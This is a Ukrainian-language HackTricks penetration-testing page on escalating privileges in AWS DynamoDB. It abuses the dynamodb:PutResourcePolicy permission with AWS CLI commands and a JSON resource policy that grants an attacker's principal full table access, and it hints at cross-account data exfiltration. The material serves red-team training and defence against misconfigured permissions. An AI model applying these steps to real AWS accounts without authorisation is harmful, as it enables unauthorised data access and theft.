AWS - DynamoDB Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

dynamodb

Для отримання додаткової інформації про dynamodb перегляньте:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, і за бажанням dynamodb:GetResourcePolicy

З березня 2024 року AWS пропонує політики на основі ресурсів для DynamoDB (AWS News).

Отже, якщо у вас є dynamodb:PutResourcePolicy для таблиці, ви можете просто надати собі або будь-якому іншому суб'єкту повний доступ до таблиці.

Надання dynamodb:PutResourcePolicy випадковому суб'єкту часто відбувається випадково, якщо адміністратори вважають, що надання dynamodb:Put* дозволить лише суб'єкту додавати елементи до бази даних - або якщо вони надали цей набір дозволів до березня 2024 року...

В ідеалі, у вас також є dynamodb:GetResourcePolicy, щоб ви не перезаписували інші потенційно важливі дозволи, а лише інжектували додаткові дозволи, які вам потрібні:

bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Якщо ви не можете отримати поточну політику, просто використайте цю, яка надає повний доступ до таблиці вашому принципалу:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Якщо вам потрібно налаштувати це, ось список усіх можливих дій DynamoDB: AWS Documentation. А ось список усіх дій, які можуть бути дозволені через політику на основі ресурсів І які з них можуть використовуватися між обліковими записами (подумайте про ексфільтрацію даних!): AWS Documentation

Тепер, з документом політики policy.json, додайте політику ресурсу:

bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Тепер у вас повинні бути потрібні дозволи.

Постексплуатація

Наскільки мені відомо, немає іншого прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS dynamodb. Ви можете читати чутливу інформацію з таблиць (яка може містити облікові дані AWS) і записувати інформацію в таблиці (що може спровокувати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на сторінці Постексплуатації DynamoDB:

AWS - DynamoDB Post Exploitation

TODO: Читати дані, зловживаючи потоками даних

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks